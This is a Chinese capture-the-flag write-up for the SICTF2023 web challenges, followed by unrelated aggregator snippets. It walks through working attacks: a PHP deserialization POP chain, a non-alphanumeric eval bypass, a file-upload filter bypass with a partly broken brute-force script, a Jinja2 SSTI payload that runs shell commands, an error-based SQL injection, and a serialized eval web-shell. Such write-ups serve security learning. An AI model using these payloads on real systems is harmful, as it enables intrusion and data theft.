兔年大吉

源码如下

<?php
highlight_file(__FILE__);
error_reporting(0); class Happy{
private $cmd;
private $content; public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
} public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
} public function __wakeup()
{
die("Wishes can be fulfilled");
}
} class Nevv{
private $happiness; public function __invoke()
{
return $this->happiness->check();
} } class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
} class Year{
public $key;
public $rabbit; public function __construct($key)
{
$this->key = $key;
} public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
} public function __get($name)
{
$name = $this->rabbit;
$name();
} public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
} if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>

挺基础的一个反序列化,先找pop链:

Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call
简单写一下代码:
<?php

class Happy{
private $cmd;
private $content; public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
} class Nevv{
private $happiness;
public function __construct($tmp)
{
$this->happiness = $tmp;
}
} class Rabbit{
private $aspiration;
public function __construct($tmp)
{
$this->aspiration = $tmp;
} } class Year{
public $key = "happy new year";
public $rabbit;
}
$year = new Year;
$year2 = new Year;
$rabbit = new rabbit($year2);
$year->rabbit = $rabbit;
$happy = new Happy("system", "ls");
$nevv = new Nevv($happy);
$year2->rabbit = $nevv;
echo urlencode(serialize($year));
?>

直接打就行了

ezbypass

源码如下:

<?php
error_reporting(0);
highlight_file(__FILE__); if (isset($_POST['code'])) {
$code = $_POST['code'];
if (strlen($code) <= 105){
if (is_string($code)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
eval($code);
} else {
echo "Hacked!";
}
} else {
echo "You need to pass in a string";
}
} else {
echo "long?";
}
}

可以看到该过滤的都过滤了,而且payload长度限制了105,这样我们可以想到利用php的自增特性来构造攻击代码

code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /f*

这里解释一下,(_/_) 的输出为NaN,再拼接一个_就可以名正言顺的成为一个字符串,然后我们就可以取"N"通过++来构造出POST

其实这段payload还可以更短,有兴趣的读者可以自行研究 ,最终我们得到的是$_POST[_]($_POST[__]),这样就可以命令执行了。

ezupload
源码如下:
<?php
@error_reporting(0);
date_default_timezone_set('America/Los_Angeles');
highlight_file(__FILE__);
if (isset($_POST['submit'])){
$file_name = trim($_FILES['upload_file']['name']);
$black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); if (!in_array($file_ext, $black)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext; if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
}else {
$msg = '你传啥玩意??';
}
}
if($is_upload){
echo '呀,(传)进去了欸~';
}
?>

纸老虎,.php都没限制,就是date加随机数改了个文件名,我们可以在本地搭个一样的来得到文件名,然后往后爆破就能得到上传路径的文件了

这里注意手速一定要快,要不然要多爆破好久,检验代码如下:

import requests

url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'

for i in range('本地文件名', '比本地文件名大就行'):
urls = url + str(i) + ".php"
r = requests.get(url)
if r.status_code == 404:
continue
else:
print(q)

得到文件后,就是常规的getshell了。

SSTI

看页面源代码得到参数?SI,试了下{{1}},报违规字符了,说明{{是被限制了,我们利用{%print %}来绕过这个限制,这题很明显在考一系列的限制过滤

把关键的类都限制了,__class__之类的。我们这里利用jinjia2的特性['__clas''s__']来绕过这个限制,后面的我不想测试,所以都写成这个样子,payload如下:

?SI={%print config['__cla''ss__']['__in''it__']['__glo''bals__']['os']['po''pen']('cat /g*').read()%}

还是挺简单的

ezphp

开局一个登录界面,加个单引号,直接有报错,很明显报错注入,中途的测试过程我就省略了,直接上最后的payload:

admin'/**/and/**/updatexml(1,(concat(0x7e,(selselectect/**/group_concat(Password)/**/from/**/admin),0x7e)),1)#

账号密码admin:0909876qwe222

我们登录进去,随便输点东西,得到源代码:

<?php
ini_set('open_basedir',".");
error_reporting(E_ALL^E_NOTICE^E_WARNING);
session_start();
if($_COOKIE['admin']!=md5('adminyyds')){
header('Location:/index.php');
exit();
}
echo('<h1>WelCome!ADMin!!!</h1>');
echo('this is a site test pages for admin! ');
if(isset($_POST['url'])){
echo file_get_contents($_POST['url']);
show_source(__FILE__);
}
else{
echo('<form action="/admin.php" method="POST">
url:<input value="" name="url" type="text">
</form>
');
}
//x9sd.php
?>

可以读文件,下面还给了hint

url=file:///var/www/html/x9sd.php
class a {
protected $cmd;
function __destruct()
{ echo $this->cmd;
@eval($this->cmd); }
} if(isset($_GET['username']) && isset($_GET['unserx'])){
$var = base64_decode($_GET['unserx']); if($_GET['username'] === "admin"){
echo "nonono?";
}
$username = urldecode($_GET['username']);
if($username === "admin"){
unserialize($var);
}
unserialize($var);
echo("success");
}else{
echo "I need some ???";
}

有是一个反序列化,这个直接就是a了,都不用找链:

<?php
class a {
protected $cmd;
function __construct($tmp)
{
$this->cmd = $tmp;
} } if(isset($_GET['username']) && isset($_GET['unserx'])){
$var = base64_decode($_GET['unserx']); if($_GET['username'] === "admin"){
echo "nonono?";
}
$username = urldecode($_GET['username']);
if($username === "admin"){
unserialize($var);
}
unserialize($var);
echo("success");
}else{
echo "I need some ???";
}
$a = new a('eval($_POST[1]);');
echo base64_encode(serialize($a));
?>

这样就getshell了

总结

web题不错,适合我这种新手做,这里抨击下ezmisc出题人,以后别这么出了。

SICTF2023 web_wp的更多相关文章

  1. 鹏城杯 WEB_WP

    简单的PHP GET /?code=[~%8C%86%8C%8B%9A%92][~%CF]([~%9A%91%9B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A ...

随机推荐

  1. 齐博x1 万能fun 调用任意数据表 任意字段就是这么任性调用

    列举了几个常用的查询进行简单封装,虽然系统也有内置的但是很多人不大会就二次封装简化了一下. 这里只封装了一个条件 多个条件的自己再封装或者用标签解决比较好 这里只是说fun可以万能调用 1获取任意表的 ...

  2. RDF/RDFS/OWL

    RDF(Resource Description Framework 资源描述框架) 知识总是以三元组形式出现: (subject, predicate, object) 即 (主,谓,宾) 资源和属 ...

  3. ValidList

    package com.dlzb.enterprising.config; import javax.validation.Valid; import java.util.*; public clas ...

  4. 嵌入式-C语言基础:二维数组的地址写法

    二维数组a的有关指针: 表示形式                                含义                                                   ...

  5. 嵌入式-C语言基础:快速选择排序实现从大到小排序

    #include<stdio.h> int main() { /*简单选择排序:从大到小:一共比较sizeArr-1轮,每一轮的第一个数是arr[i],第一个数依次和它后面的每个数比较*/ ...

  6. Web浏览器Linux Shell(shellinabox解决通用区服务器Linux Shell访问很麻烦的问题)

    问题背景 通用区服务器的Linux Shell访问,比较麻烦 需要动态密码(手机上装Token)连跳板机,再用跳板机上的终端工具连Linux Shell 改进方法 使用shellinabox,就能直接 ...

  7. 在 Spring 生态中玩转 RocketMQ

    本文作者:饶子昊 - Spring Cloud Alibaba Committer,阿里云智能开发工程师. 01 Spring 生态介绍 根据 JVM EcoSystem Report 2021 最新 ...

  8. ADPCM(自适应差分脉冲编码调制)的原理和计算

    关于ADPCM ADPCM(Adaptive Differential Pulse Code Modulation, 自适应差分脉冲编码调制) 是一种音频信号数字化编码技术, 音频压缩标准G.722, ...

  9. Opengl ES之YUV数据渲染

    YUV回顾 记得在音视频基础知识介绍中,笔者专门介绍过YUV的相关知识,可以参考: <音视频基础知识-YUV图像> YUV数据量相比RGB较小,因此YUV适用于传输,但是YUV图不能直接用 ...

  10. CopyOnWriteArrayList 是如何保证线程安全的?

    本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 提问. 前言 大家好,我是小彭. 在上一篇文章里,我们聊到了ArrayList 的线程安全问题,其中提到了 Copy ...